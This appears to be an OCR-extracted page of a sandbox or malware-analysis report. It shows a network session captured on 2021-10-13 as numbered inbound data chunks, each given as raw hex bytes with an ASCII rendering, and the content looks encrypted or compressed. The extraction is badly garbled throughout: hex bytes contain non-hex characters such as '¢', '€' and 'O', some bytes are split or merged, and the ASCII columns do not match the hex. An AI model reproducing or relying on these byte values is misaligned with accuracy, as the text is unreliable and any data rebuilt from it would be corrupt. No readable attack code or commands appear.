56 94 b4 b9 c0 91 d0 13 03 fd e7 a7 4a 63 65 56 51
Data Ascii: JT|cV'mL|c}S$O>NEITU;diANr}p9Dw.|qRM&@?i{ T%&OUfs_H&2vkA(6~"Ln8B=_$_YuVJceVQ

2021-10-13 13:52:00 UTC 427 IN Data Raw: dc ba 13 d9 dd fc 7c 3e cf 96 0d b4 2e d8 ac d1 80 40 99 a0 a4 70 a9 a3 ee 97 05 e7 31 29 ce 44 95 93 2f fc
la a0 f8 28 ae 37 46 c7 61 58 29 d8 7e f2 05 3e 7f 6f 4f 48 ¢3 55 d0 63 30 82 8b f9 b5 df 1e 7d 1b b3 ca da f1 22 fb b3 20
b5 e5 d6 28 a0 00 71 20 4e 94 7c 65 8b 28 cc Ob 03 f6 6e 27 c8 96 b5 04 de 0a 9d 47 Ob Of 4c b5 75 27 1a 08 f2 bb f3 42
36 b4 7 fc a9 6¢ aa 93 7c 02 7a db fc f9 20 8f 3¢ 79 7f b8 4a e0 b3 91 d6 12 31 a7 af 55 aa 5e 1a ad 6¢ 6b 66 €8 96 4a 14
fa 6f a6 7f 94 bc a6 45 d8 cb 78 ¢9 80 83 17 0d c3 a3 18 65 f8 95 41 1f d7 99 8a 34 2c 6¢ de 98 3a aa a5 41 29 e4 fe 97 cd
ae 6a 8c 5f 7d 0a 09 52 1d d3 5a 21 01 4b bl f4 bb dd 3f b7 10 56 87 98 33 8f 29 Oe 87 9f 27 2f d4 38 d1 09 2c d5 7c 43
€9 af f2 69 76 c2 Oe 21 45 4e 96 e5 72 15 97 d3
Data Ascii: |>.@p1)D/(7FaX)~>00HUcO0}" (q N|e(n'GLu'B6l|z <yJ1U"kfJoExeA4,I:A)j_IRZ!K?V3)'/8,|CivIENr

2021-10-13 13:52:00 UTC 428 IN Data Raw: 45 33 ac 3e 10 6e 8a ac ff bb 71 ee 6f e3 9a 6f 2f d0 5d d3 de ed 41 40 30 67 5e d8 b2 d9 b9 35 d6 b9 4e e2 27
39 ¢c6 bc 71 75 eb 4a 67 fe 2f 5¢ 30 38 3a 33 94 55 ff 64 24 a4 a9 86 2b 7e da b7 97 f4 ¢3 bc 09 0f 8¢ 90 16 75 55 56 2f 28
2e eb 2d df 29 ce cf 6d 70 7b 16 93 b4 cc 26 3f c4 ba e8 32 03 36 a9 6a 50 bd f0 12 78 31 cb 07 7e e2 e6 98 37 ae 57 34
19 1c 7d 9a 57 b0 el 02 4b 9 a2 62 3f c8 a2 f6 68 4b cf 9d 99 62 64 e9 ce dc 17 ae ef 20 e3 a2 97 22 42 91 8c Oa 9b 2a 3f
77 33 4a 27 f2 65 05 cl 4d 7a ef df cd f7 77 1b 25 1a 3a c0 7f 34 20 88 53 bc 67 b7 7d 0d 89 63 10 cd 9e 61 b0 bd 98 b3
50 71 f3 33 4b de 98 60 20 42 el ba ed 41 cf be e0 fa 25 e9 cd f2 8d bb db 85 9e fe 56 5e 1b 00 96 €9 13 49 df a5 6a 1e 5f
la 64 eb 7b 79 54 af d6 e3 8f 2a 33 bf 72 60
Data Ascii: E3>ngqoo/JA@0g"5N'9quJgN\08:3Ud$+~uUV/(.-)mp{&?26jPx1~7W4}WKb?hKbd "B*?w3J'eMzw%:4 SgicaPq3K"
BA%VAj_d{yT*3r
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 429 IN Data Raw: 6e ab 80 c2 de 78 1c 53 bb 4d ae e3 a5 29 de 71 b9 e9 8e 52 8c 41 c6 26 fc 3b 4e 6f bl c1 31 00 a0 67 d6 01
59 14 f4 b8 d5 11 1f ce Oe 7b df 15 ad 5b eb 70 88 4c b5 99 04 5¢ 72 74 ac d4 06 80 30 5a da a8 db 52 44 02 38 bf 27 41
95 73 d4 2a 00 2f 5¢ 16 d7 68 da 79 1b 13 64 53 b5 06 73 e2 7d 59 4b 66 09 f6 07 c8 a8 05 c4 05 52 06 a8 b6 4e 39 3d f4
60 b6 80 be 6e b9 52 c¢3 56 3b df 67 38 99 8f 13 37 22 09 05 72 50 2a Oe 73 8a 7e 0d 65 b4 97 60 46 8b 43 ea 83 1b 6a
5a 8d 47 64 47 2e dc 98 43 77 91 cc 1d 19 63 59 b9 ea 78 ba 9c 5e ca 08 3b 79 af 06 aa 7b 6a 64 da c7 5f 19 7e dc a5 e4
54 d0 70 b4 eb 9f 3¢ 58 a5 a5 be 3a 3c 69 8a d2 5b 15 92 90 50 4e d9 al b9 20 a2 bc 3c 1a 7e 7f c8 4d 5f 63 a3 ed 76 48
5c 4f 2c 9e 89 5e bl 5e 40 a4 c8 c1 7c ea 87 51 cd 9d 9c 97
Data Ascii: nxSM)gRA&;No1gY{[pL\rt0ZRD8'As*\hydSs}YKfRN9="nRV;g87"rP*s~e FCjZGdG.CwcYx"\;y{jd_~Tp<X:<i[PN
<~M_cvH\O,"@|Q

2021-10-13 13:52:00 UTC 431 IN Data Raw: aa 66 f6 d7 77 69 31 e5 7b 4c 3b 77 16 5f 9d 72 8e a9 d5 c9 2a 96 1e dc 48 85 8f 09 e6 d8 34 d4 5a 8b 1d f4
82 6b c3 40 da 7c 3a 28 6f 5¢ 0d bd f8 0a f9 60 7e 81 ff df 24 7c 9b d1 48 7a Oc 31 5e 97 3b c5 ¢7 06 9b ed ba f9 5¢ 1d 05
35 7e 28 21 66 ac ch e5 6¢ 49 10 5a ab ba c4 8d 69 el 54 96 f7 19 35 61 ca a9 b1 9a 59 df b0 5f d9 79 82 29 5¢ bd 6b 82
aa 134932 90 59 ad 75 f5 ff f0 32 90 68 14 e2 d1 56 c2 3a 34 c1 €9 eb 31 b0 d1 67 96 ed e9 fd 44 42 10 d5 6¢ 74 a3 62
8d 2b f0 93 ed 78 87 fO d6 b0 4e 64 75 b6 c8 26 9f 02 1d 4f 1b 88 4 6a fc 6f 78 ca d2 52 06 ae 13 db 45 2c 46 6¢ 5a 17 5d
b3 4f ac cO ed 5 68 4c el 05 33 b3 7d c3 79 07 5f b9 1f 06 e2 6a 91 2a 3c 05 df cb 07 b7 ff 04 6f 92 b9 3e 21 01 8d 68 03
c7 86 04 b7 6b 25 a8 65 6e cb 85 d9 1e df 3e ca
Data Ascii: fwil{L;w_r*H4Zk@|:(o\'~$|Hz1"\5~(flIZiT5aY_y)\kI2Yu2hV:41gDBItb+xNdu&OjoxRE,FIZ]OhL3}y_j*<0>!hk%
en>

2021-10-13 13:52:00 UTC 432 IN Data Raw: a6 85 b8 el 46 99 fc 71 fO 51 cd 93 d5 6b 8b 9b 87 5a 39 18 7a 3c 78 44 75 ¢6 91 cc 7b 7c f7 f2 57 4c 4e 53 b5
de ¢3 36 aa 3f 9f 8¢ 65 98 b6 f1 15 41 53 99 40 12 a0 20 ee 99 49 d3 e7 6d dc a9 cd 64 c7 30 69 6a bb 95 60 08 d8 fc f4
91 7e ac 98 1f 4e fc Of 1d 2a b5 14 91 d9 71 f0 f6 2d 72 3 18 97 39 26 82 f0 3c a2 29 b2 54 53 53 97 dd ec a0 44 a9 f5 ec
62 7e 39 ff 18 a0 fe 8 7a 41 ec d8 63 96 37 74 c7 e7 8f al fa 1b fd 2b 84 b5 59 2a 09 b0 66 66 c3 8e 95 b6 b2 dd 7e 7f Oe
70 cb 62 70 38 5e a8 97 54 5¢ b1 e0 41 65 e6 ef df 18 3b cf aa 5d 66 70 68 5f c1 87 be 23 9b 86 €0 d0 38 Oe 10 51 a2 7
f16d 7a ff cf c3 5f 1f al 71 bd d8 c3 a9 f5 cb 13 8f 0d ed b5 2c 8f 6a 79 8c ac a2 0d 41 6f d5 c8 Oe cf 76 89 9d ¢8 1f Oe 30
89 3a ae €9 b4 4a 26 6b f1 aa 2e 07 99 2b
Data Ascii: FqQkZ9z<xDu{|WLNS6?eAS@ Imd0ij ~N*q-r9&<)TSSDb~9zAc7t+Y*ff~pbp8"T\Ae;]fph_#8Qmz_q,jyAov0
:J&K.+

2021-10-13 13:52:00 UTC 433 IN Data Raw: 6f b3 3a f4 be 52 3a 4f ad 5b 19 db 3e f0 db 7 11 d9 02 a7 e6 d3 b7 4b de aa 82 cf 90 07 eb 8b a8 b6 fe bf d6
98 a3 02 ab bb 89 fb ef 7e 77 dd ca b3 e7 99 1a 5f 85 d6 fa 66 90 fO 01 b2 78 cb 2a 84 75 63 47 59 {7 22 36 95 59 d6 22
92 a8 82 9f ca df 04 39 d2 ad c1 ¢3 03 3f d8 22 27 d3 a9 ef b3 9e d6 2a b7 40 71 5c d9 5a 10 8d 24 33 5d 65 dd a5 01 65
82 7c 51 3c cc 07 1b 1e b9 54 23 74 d0 c5 4a 66 09 8a 2b 4b bc 5b 4f 63 cb €5 11 79 42 21 3d a6 2a 63 68 eb 61 e7 d9
a5 cf f0 0d 04 08 47 fe f5 1d ff 09 56 00 9b 0d 1a 92 de e3 18 1a al 10 74 e8 bl ab 7a 7e 8e 95 54 04 af 6a 4b f5 6f 2d 27
00 85 b9 88 9d 7f 17 da al 3c 31 d9 c5 ce 7f 24 23 15 42 ab 93 52 11 60 c0 5f 19 52 dc a5 e4 54 d0 70 10 00 d8 f0 39 56
2b f9 2a a3 Oe 46 2e 05 9c ¢7 9c 56 48 06 cc a7 20 a2
Data Ascii: 0:R:O[>K~w_fx*ucGY"6Y"9?"*@q\Z$3]ee| Q<T#tJf+K[OcyB!=*chaGViz~TjKo-'<1$#BR"_RTp9V+*F.VH

2021-10-13 13:52:00 UTC 435 IN Data Raw: 1a e0 b9 ed f9 b7 41 1f 3f 62 3d 9a 96 24 42 8 53 08 ca fc 29 64 63 d8 71 98 4f d7 2¢ 72 a6 d4 87 ac 4f f6 84
ab 86 5e €3 77 26 bc el 52 32 b6 28 0a 84 54 ce 2e 26 1a 5d e 5f 4f 17 7d 9e bf 31 07 c1 64 fd 7e 13 84 f2 87 27 74 a3
3a 4c Of 85 38 Oe 18 a9 ff f4 €3 a9 74 fd b4 11 48 7c Oc c8 40 97 3b 75 09 81 dc 21 33 ba 55 83 9f el el fd 9f 64 e4 12 7a
da ef ce df 38 7c 2a 56 7c a3 54 be 17 c5 2b Ob 4b 22 a6 99 5c 5e 9f b9 d8 a6 27 64 58 ee €6 54 51 43 9d 1e 95 90 ab 76
25 78 25 fc 95 65 80 36 af 47 €5 b1 72 10 el 29 82 6 1c 6b 5 51 63 f2 47 84 59 43 ee dc 0d 85 55 de f1 93 12 fc fa 22 ae
e7 cb c1 3d 9c €0 40 3c d8 2e 1b 34 a4 7f 1f 67 1a 61 4e 13 25 8c d3 07 d5 7 25 4b 63 13 15 08 bf a6 56 9d b0 99 10 18
€1 05 33 4a 6d 4f 39 47 dd bf 19 de 43 2f 15 4b
Data Ascii: A?b=$BS)dcqO,rO"w&R2(T.&]_O}Ld~'t:L8tH|@;u!3Udz8[*V|T+K"\WdXTQCV%x%e6Grk_QcGYCU'=@<.4g
aN%96KcV3ImO9IGC/K

2021-10-13 13:52:00 UTC 436 IN Data Raw: 58 fa 81 16 de 27 8e f1 89 b7 f7 a5 b5 01 83 92 5d 4f 16 70 Oe ce 64 c4 cd d8 7b 02 a3 e3 f0 87 f6 fb 77 66 5¢
bb cd 57 d1 c0 30 c0 5c 8b 9¢ d9 2b 04 92 ac be 60 40 7a 9f 9a 42 03 ca 40 c6 86 21 70 3a b3 4a al 43 3d 51 4c ad a8 71
95 d1 23 a8 4a 4f 3a bd f1 3a 07 17 d5 5a 8c 05 da ee ff 9f 9c f8 27 b2 45 b0 dc 11 €9 40 aa c4 a3 55 61 c5 f8 d4 69 09 e9
e5 5a f6 25 2a b5 23 30 29 92 29 eb 8d 48 60 45 1f 4b c7 2c d1 f3 0e Ob 9b 10 65 15 66 61 19 74 €0 be c8 8e 10 bb 20 60
€8 46 92 0f 20 36 f2 3a 4a 7f 2e 1e d5 9d 89 50 af b6 41 15 5c c2 ef 9c d7 el 7c 7c 4c e6 57 3d b8 2c af b6 08 19 6b b2 17
3c ac c6 0b cd fa c5 67 6a dd 68 7d 6e d8 96 30 7f 57 32 2b ab 40 48 98 01 69 a5 31 aa c0 f8 65 9b 2e 75 70 f5 45 83 17
71 ab eb bf 2¢ 6a b2 82 66 20 €0 €0 Oc 2b 67 1la
Data Ascii: X']Opd{wAWO\+ @zB@!p:JC=QLq#J0::ZE@UaiZ%*#0))H EK,efat "F 6:J.PA\||LW=,k<gjh}nOW2+@Hi1
e.upEq,jf +g

2021-10-13 13:52:00 UTC 437 IN Data Raw: 7d 6c bb 13 69 6a d8 76 95 87 ab 28 b8 ac Oe 4f 49 52 75 22 11 32 9a 85 72 9d 83 84 al 8f 39 95 35 b0 6e 57
88 e9 e88d c7 01 e8 38 6b aa d5 5b 01 a9 ff 05 86 28 bf e6 al b0 41 a3 27 ca 7a 90 20 30 d7 37 c9 ef 59 ab f0 ¢7 9a 97
3a 3f 9a 6a 07 7b 3c 5b 90 a0 36 02 5b c8 c1 8b 32 ed b1 61 f0 ee 07 01 12 39 95 d7 eb fa 74 93 a0 18 d9 52 74 85 22 32
b5 6¢ 7b ec 09 f1 63 a0 be 5d 55 1c 1f 3ach ec el 71 5f d4 77 f8 16 49 ed e6 f7 cb 65 1b Oc 8e bb 81 d5 c6 ea 7b 6d db 2k
9b 15 8f cf 4e 4a 67 8a 3a dc 7b 66 b3 87 75 b3 04 b1 e7 90 9b 2d 50 68 f6 27 29 6b a5 5¢ Oc Oe b4 31 6a d4 dc al 44 9d
47 31 16 08 f6 35 9e 90 47 fc 27 cb 04 d8 95 f8 d6 8d c3 4e el f6 ec c2 8d 6¢ 55 €6 78 69 ca a5 27 bd 3d 32 8a 90 1a 3b
8399 18 c0 f7 89 15 Oc 75 7e f7 11 94 f6 00 83 ad 2a
Data Ascii: }lijv(OIRu"2r95nW8k[(A'z 07Y:?j{<[6[2a9tRt"2l{c]U:q_wle{m+NJg:{fu-Ph)K\1jDG15G NIUxi'=2;u~*

2021-10-13 13:52:00 UTC 438 IN Data Raw: 40 1f 57 c0 7f b9 b4 33 82 59 01 3c fa bb eb f0 10 a0 dc d6 78 b3 09 b7 87 27 c2 f2 4f 16 60 17 92 b5 e1 03 7b
76 4e be b0 31 2b d9 3d 36 85 98 80 98 0f 7 3c 5¢ 1b 00 37 2f 13 49 df a5 72 c6 8e f9 20 71 b2 Ob a5 79 a0 59 84 1c ee
5b 76 9e a2 82 87 09 2f 34 d5 5a 8f dc 8b 9d 59 4c 22 92 dc ¢5 17 02 58 bf cf 26 65 86 f5 el f7 ad 97 al 7b 07 7c d5 54 5
b9 80 13 27 b4 09 23 ea e7 7c 69 cc d1 84 3b f6 59 6d b5 a9 3f 39 39 85 ae f0 32 3 82 c4 d8 d1 ea f9 2a 6¢ ee df 08 bf 19
11 3e 5a 3b fe b7 98 59 1d 41 48 d2 09 52 78 37 b9 30 dc ed 0d 6d 22 d3 07 a9 a7 96 99 13 c7 74 14 77 f6 e2 88 c5 bc f5
3e 64 2a c2 44 f7 95 a2 8¢ 73 f5 97 €5 11 65 43 60 dd 55 29 b8 64 c9 21 09 8b 9b 92 87 aa f4 6b 5a e5 32 65 33 94 83 71
22 e4 ed 48 85 b9 79 ff 87 6¢ 88 3a 04 62 ef Oa
Data Ascii: @W3Y<x'O'{VN1+=6<\7/Ir qyY[V/4ZYL"X&e{|T'#|i;Ym?992*>Z;Y AHRx70m"tw>d*DseC U)d!kZ2e3q"Hyl:b

2021-10-13 13:52:00 UTC 440 IN Data Raw: 33 fb 78 72 93 91 81 3b fe 88 €3 37 aa 82 25 cd 97 82 1d e8 f3 7a 28 9a 87 65 ee ba 4c b4 4e 2d 34 cc de 64
7afe c8 el a7 33 d8 52 45 29 df 45 5d 6d 02 43 44 e8 ef c8 78 03 9d 5 3b 9b b4 86 be 95 67 b0 cf 77 df ee 3b 3c 18 8a f4
19 a2 19 bf b4 99 97 41 60 75 5b 9e f1 fa 21 fd 67 42 f7 29 a3 4c Oa e0 a9 fc 9e b5 55 66 a5 5e bl f1 21 f7 bd 03 f2 c7 2¢
bl ef cd bl 5a 2d f2 56 d6 2d 51 99 e6 08 94 f2 9b d5 9c bf bb 3c ab a9 44 3d 3f 01 6¢ d2 1b 5c 9c ¢8 42 1f ff 62 20 d5 2d
7fe6 c1 93 67 e5 9d b2 5a fa 1a fa 05 90 5¢ 3a 04 70 b2 28 fb 2c 28 4e ae 27 2a 8d b7 56 7e cb 8a ea 17 3c 28 da b0 40
e4 82 2a b8 3f 9d 00 e6 b5 78 4e 98 8b 3e 0d 71 73 cb 16 8a 6a 27 1c a4 37 8¢ 12 6f ed 22 f1 22 c0 b4 dO de 05 12 04 77
a6 67 d2 57 bb 81 a5 87 1a 4a 9a 3b 7a 00 4e 46
Data Ascii: 3xr;7%z(eLN-4dz3RE)E]JmCDx;gw;<A’u[!gB)LU!,Z-V-Q<D=?\Bb -gZ\:p(,(N*V~<(@*?xN>qsj'70""wgWJ;zNF
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 441 IN Data Raw: ee 34 be 61 ea 57 7f 91 fc 53 f2 21 07 ae 10 8f d3 af 4a e8 04 44 b5 08 0 52 cc 0a 07 7f 4d el 8e 26 €9 7d cc

fd ¢6 15 46 10 2a dd 2 7e af f6 40 €5 8b 09 cc 8b f4 14 57 8 d6 16 bd 73 7a 87 d5 13 11 b7 6b f6 db f2 09 b0 52 27 4f 52
39 0e 50 74 17 dc 0d 11 21 Oa ea 88 39 6 7 02 91 55 11 c0 8b b1 Oe 09 af 8¢ 28 40 0d ad 1f 5e 60 ea le €5 26 62 94 2b
4d 8d a9 3f 9b 38 1b 96 98 75 9 93 5a 07 ac 40 b7 a9 c8 56 84 08 97 03 66 7 1e b4 9e 41 53 91 d8 ca c7 c0 cl de 9a a7
29 24 04 04 00 cf 61 da a9 3c 07 86 52 ba 79 73 4e 18 54 28 f6 c8 78 17 ee d7 5 97 d1 8f 07 19 16 5d ee 92 1a 38 a5 39
0c f6 16 10 a4 b ed bl a1 69 d9 a0 33 9f 7d 5e 7f Oc €0 68 bd b3 f4 fa 11 1f a6 80 ab 07 38 56 1e b1 d5 7d ec 95 95 40 f1
€6 74 70 8¢ d5 b4 f4 b9 8e 1e be Ob 15 d5 7e d7

Data Ascii: 4aWS!IJDRM&}F*~@WszkR'ORIPHIU(@" &b+M?8uZ@VFAS)$a<RysNT(x]89i3}*h8Vi@tp~

2021-10-13 13:52:00 UTC 442 IN Data Raw: 4f 60 7c 85 8b b0 b0 f2 91 €2 92 Oc 71 a4 41 3a ad cf b3 4a a4 b5 ad 5a 7f ee fb 8 b6 cd d0 f4 d5 57 ee f6 a6
44 34 20 50 8b 05 f9 6d f4 ea 37 55 07 3e c3 3e 2d Ob cd bf 89 8a 92 54 06 8b af 18 19 5b e2 66 80 e7 b9 41 1f ea f6 c5 fc
f2 7ac9 8e cac7 a5 bl 11 41 b9 20 fc cb be a3 9e 30 c5 80 a8 21 1b 73 03 f8 76 a2 59 f8 88 b4 e3 ea 30 64 7d 0a 07 13
cd 75 fb 85 da f8 04 8b 19 a9 2c bf 81 52 89 12 20 38 fe 8a 4e eb a0 f1 7a 77 d9 56 8c 29 c3 87 79 8f 88 b1 69 ce a9 24 40
93 c1 6f 37 1d f1 b8 8e 10 85 2b d7 b4 71 4b 05 3d bf bf 76 fa 4d 00 af 41 af c2 45 ea 54 e8 b7 95 25 38 8e cb 88 01 63 3a
8a 2c 78 ee 19 d1 37 bf Oa ce ce 99 05 ae 65 15 5a 7a df a8 6a 4e 6e 41 a2 ea 11 c0 65 22 9¢c 8e 09 70 9c 64 11 b0 3f a4
€5 00 45 60 4c c4 21 f2 c0 ec 54 29 ef 07 29
Data Ascii: O'|gA:JZWD4 Pm7U>>-T[fAzA 0!svY0d}u,R 8NzwV)yi$@0o7+qK=vMAET%8c:,x7eZzjNnAe"pd?E L!T))

2021-10-13 13:52:00 UTC 443 IN Data Raw: 3b 70 6a 8d 32 04 ef 6a af d6 d4 19 48 d5 c0 bf dd fa 24 8a 70 6f 49 99 4f 56 14 62 82 17 b0 78 52 cd Ob 60 Ob
3f c7 ec ec 05 84 00 9e c9 d7 Of c6 bd 7c ad e4 49 65 c8 37 ea 52 84 b8 55 ba 34 6b 5f a5 c4 c1 a8 47 f8 90 6¢ 19 03 4e
41 35 8e 8c ab ed 5 39 ec 96 f1 a3 49 29 4e fO ce 00 f9 be 46 e7 87 04 b9 f9 29 24 9f af 89 02 9b 47 9a 1e 06 dO 2d 6f a6
68 28 53 31 8f ae 7f cc ac c3 Ob f3 9a e7 37 c5 fd b6 8f 18 ec 73 ba 42 f6 48 13 al 99 55 07 27 d8 43 03 90 ac f1 11 bf 2e
9ced f8 74 e7 c4 18 bb d2 af 07 fc €9 72 64 3b al 15 ac 5b 78 83 3d 99 83 87 54 ee a8 1e 53 25 8 7f 5 bf 86 58 ff 74 64
6 fe 37 32 15 35 2f 92 59 2c 3a ed a0 44 5b 6e 90 33 a0 6b 3d 20 2d c6 ef 32 fe 7e 04 c3 80 ef c8 ae 48 cd a0 fa 90 e6 9c
6f 8e 55 a3 44 31 66 4e 49 20 el 9a 8e 37
Data Ascii: ;pj2jH$polOVbxR ?|le7RU4k_GINA59I)NF)$G-0h(S17sBHU'C.trd;[x=TS%Xtd725/Y,:D[n3k= -2~HoUD1{NI 7

2021-10-13 13:52:00 UTC 444 IN Data Raw: 4e cc e5 11 9c¢ 1a 70 b3 49 35 75 36 09 ef 5b d0 c5 92 0f d3 ea a4 33 e7 a5 f3 1b bb a5 91 8b b7 fc af c8 d7 cc
d7 e4 97 4f 41 16 59 21 e8 6¢ 48 99 05 eb 90 ce 1a cl d4 09 7a ac ff 10 cb ¢5 70 f9 ef 97 3f 40 ca 98 fb cb 8f 1b c3 c1 Ob
d3 de 18 20 7b f4 ef ff 68 85 d0 a7 3d e8 02 c6 ad 12 04 8b 58 7a 04 b2 35 fO db a8 f4 51 f6 54 65 c1 29 f7 e2 41 17 1d b7
6d 91 11 57 17 19 e5 0a 92 19 2c ca 64 85 44 54 12 ff bb ¢4 9e 09 f7 c3 ed 76 c3 7c 7c cd e3 ef d5 dc d5 5f ac 2f 9d c0 b0
d3 b9 fd 0a 11 63 8d 9f ea d5 e0 13 f8 d9 25 02 e3 44 40 27 10 7f a5 91 58 07 31 94 3e ef Ob eb 83 96 43 72 9a 67 66 21
a2 2d 5e 93 bf 5f e8 2d 43 45 c2 de 3 36 4b 41 67 3e 38 cf 61 €7 57 97 62 bd 38 59 8d 1c f9 f3 45 33 ¢7 €9 7a 15 9c 45 6f
€2 8899 6e 55 71 6d 79 Oe 67 05 ca d2 f9
Data Ascii: NpISu6[30AY!IHzp?@ {h=Xz5QTe)AmW,dDTV||_/c%D@'X1>Crgf!-*_-CE6KAg>8aWb8YE3zEonUgmyg

2021-10-13 13:52:00 UTC 445 IN Data Raw: 5e df 3c a9 79 30 al e7 03 3c 5d 82 Oc 85 3a d5 11 db fd 30 df dO 44 aa 2d 67 e4 5c 18 69 95 8d 85 9a bc 9d
7b 78 7b 77 3 f8 41 83 29 3e 49 7f Ob {7 ba a4 4f 97 cf 68 03 50 f9 ec cf 86 5d a0 64 a8 56 6d 09 d4 af c8 66 le 24 25 6e
d4 98 11 8e 91 3d f2 ea 66 1a al 40 de 1c 65 b8 6e 88 4e 23 39 6d ac 44 d1 bd cf 4b 2f fb €9 37 b0 9b db 8a e6 99 ca 8b
le fa da 49 3e 45 bb 43 b6 55 d9 7a e3 1b 9b f9 f6 42 d3 23 65 8f 1c f4 81 ae ef b7 67 92 9b ac ca bc 48 6f b0 3c 2f 10 6b
89 84 6b 27 el b5 b5 63 5e 32 0f 34 9d 3f 92 9 69 4c 13 88 70 18 €0 42 80 7d 91 25 19 cb 9 81 7f c6 fd cd ea 09 25 d1
d9 e5 2¢ 65 90 20 cd 34 dd 00 5a c7 71 1a Ob f8 02 eb b7 3e 38 e9 a0 b8 el fe f2 ¢3 e2 43 b0 d9 03 75 f4 50 8f 8e 3a ea 2
bb 57 ac 28 65 6a 70 5a 10 d0 d8 2a 1c 56 4e 28
Data Ascii: A<y0<]:0D-g\i{x{wA)>10hP]dVm{$%n=f@enN#9mDK/7|>ECUzB#egHo</kk'c"24?iLpB}%%,e 4Zq>8CuP:/W
(€JpZ*VN(

2021-10-13 13:52:00 UTC 447 IN Data Raw: 58 25 fa bd 73 21 3c 1a 71 5a 8e 44 01 34 b7 39 73 6a 27 b7 01 d2 46 90 b4 42 90 ce df 6d fb 42 fd 93 ed 99
26 27 c0 32 ba 71 d7 64 24 04 el 1d cb ba 19 f5 33 8a f5 5d a3 04 bc e3 c7 b7 ef 1e fO de ee 76 d5 85 35 a5 31 66 1d 2 5f
8f 64 Oc 7f ad b1 9b 88 6¢ el 68 2f 46 cf al e3 3 76 6f 18 72 c8 43 {8 8f f3 f4 b3 c3 61 65 49 4c ec bb 3 fa b0 Oe 10 54 7a
40 54 3a c0 7f bf 76 1b 8d 05 fd 3f 2c 87 87 b2 eb c1 91 87 2a d8 18 9b 02 fc 3d 91 da 18 d9 13 e0 de b9 eb 25 3f 4e 35
a5 b4 25 e9 81 9b 2a 21 d6 f3 34 09 d4 5a 57 e8 ad e2 5d 5d Oc 36 33 ¢5 02 b7 21 1b 75 d3 dc Oa 1b b2 f0 31 40 db 12 c9
5d 7d 58 87 10 99 c2 31 fa 51 1d d2 06 58 a9 85 3¢ 59 ce 0d 58 1c Ob 3e 5d d7 77 Oc 87 d7 90 df 40 d0 7f 6b 7b a5 fd 7f
67 e4 21 al 8f fd 15 33 1b 8d 96 53 37 a5 e6 31
Data Ascii: X%s!<qZD49sj'FBmB&'2qd$3]v51f_dlh/FvorCaelL Tz@T:v?,*=%?N5%*14ZW]]63lul@[}X1QX<YX>]w@k{g!
3s71

2021-10-13 13:52:00 UTC 448 IN Data Raw: bf 5¢c 4a 70 ac 9b 46 be 5a 4b b0 a9 e0 cf 9e e6 59 bf 4d 18 48 d6 7c 6a 56 €8 92 bb c7 e3 9f 75 57 58 13 97
al54 23 da e9 fb €9 5a 3a c5 ba d0 0f 8e 81 8e 1d 6e 3d 20 5d 3f dc e3 63 6d d8 05 35 b9 52 16 c2 db a4 45 f8 c7 8f a3
7a6ac7 1f 93 1e c3 ca 0d d9 a3 b7 40 ba 41 e6 76 2d 16 Ob 6f fa 2f df 4b 7 25 43 14 99 1la e4 6d 1c 7c 7a 1d 32 0f 07 a4
c0 4e 8c d5 9f 7f 3c 33 cc 57 e2 f0 27 fb 1c fb ¢8 8f ¢9 d6 eb 3f 3a c8 bf 7d 9e a3 bc e2 fc e2 2¢ 32 74 08 59 56 71 42 ac
c5 8d f5 df 61 49 56 15 53 02 78 68 15 c8 4c 3a 17 3a €6 76 c3 5f Of 4f 57 95 d5 b6 5e 60 bc 29 8d 18 69 8b d2 09 04 43
33 f1 8aac 01 a5 8f 3d 8c ae 6b a8 Oe cc a3 59 6f f3 70 08 7d bl fd b3 2b df 6d 27 b2 15 22 72 e3 7 19 af ac 06 81 40 12
bc 26 36 55 34 e8 Oc 6d 07 14 6b 6e b3 c9 b3 75
Data Ascii: \JpFZKYMH|[jVUWXT#Z:n= |2cm5REzj@Av-0/K%Cm|z2N<3W'?:},2tYVgBalVSxhL::v_OWA")iC3=kYop}+m"
r@&6U4mknu

2021-10-13 13:52:00 UTC 449 IN Data Raw: 6¢ el 8e 9e 5d 21 b5 f9 1b ¢5 6b 09 df db 02 26 c1 db 98 fa 4e 12 ea fd 96 b2 62 26 33 e7 d2 13 c0 07 9d 3c 8¢
b4 03 e3 cf 03 48 31 59 a2 8d bd 9a 09 d9 a0 a7 02 b1 d7 66 40 fa 65 13 42 13 95 8f 89 43 26 30 72 76 fO 79 22 68 bc db
32 6f01 51 eb 92 c1 36 15 de 83 84 91 04 e0 76 Oc d9 03 43 c7 e6 5¢ 3c 84 3b b1 9f ed fb 2f b6 4a fc c6 9a 62 49 3e 91
ea 5e 22 40 Oc a5 77 ae 6b c3 fc 90 7e 65 8c eb 37 09 30 6a 69 ba 8f 43 41 e3 47 17 d4 b3 fa 70 59 b3 8e e5 5d 39 47 b8
47 0f 32 11 d7 4c 8e 4f f0 22 c7 41 ec d0 €9 4d 69 49 53 ab 2d Oe 31 7a 6f 59 c8 5b 8e f2 63 2d 1e 6f 37 25 84 b2 1e 8e 30
84 93 78 17 dc Ob a9 85 b2 el 88 53 69 2f 63 €2 41 b4 1e 6e c7 65 f0 87 de a3 1a 9b b9 89 eb ff 7f ad c2 3a 60 92 33 f1
8c ca 83 b5 69 90 58 50 23 cf d1 0f fe 01 c4 01 8f
Data Ascii: [['k&Nb&3<H1Yf@eBC&O0rvy'h20Q6vC\<;/IbI>@wk~e70jiCAGpY]9GG2LO"AMIlS-1zoY[c-07%0xSi/cAne
T3iXP#

2021-10-13 13:52:00 UTC 451 IN Data Raw: f6 f5 27 20 18 3f da 11 8f Of 3f cf €2 ac 06 d4 60 bd 3c b8 ac 12 ba 3b 0Oe 53 38 68 a9 c5 1f c1 5d 28 0d d8 71
€5 38 1b 20 8d bd fb 92 78 a5 34 8a a6 74 a4 d9 14 1d 93 87 a2 15 a4 7e bb 64 fb 36 a8 48 48 13 aa 72 cc 32 6d 3d 5e 62
a7 eb b4 bf 5e 2a ce ed 08 ae 08 b7 6a db 17 b3 16 e2 54 f2 7b cb 6f b8 6d 02 26 ¢7 58 37 c0 aa 51 a2 64 Oc a2 b0 a9 26
da 64 8b a3 12 52 74 e4 f3 29 51 63 c9 3f 9e 09 9b c4 87 a5 4c 98 79 2c 62 5¢ 79 57 78 ef 33 ¢3 40 Of 7c c2 bb 4f 4d cf b4
29 03 06 1e 51 d4 7f 78 ef a2 73 94 81 5d 3d 3c 46 b1 81 38 a6 85 92 6¢ 45 b5 30 89 d4 32 7a 07 1b 35 Oc 37 €3 25 4a 81
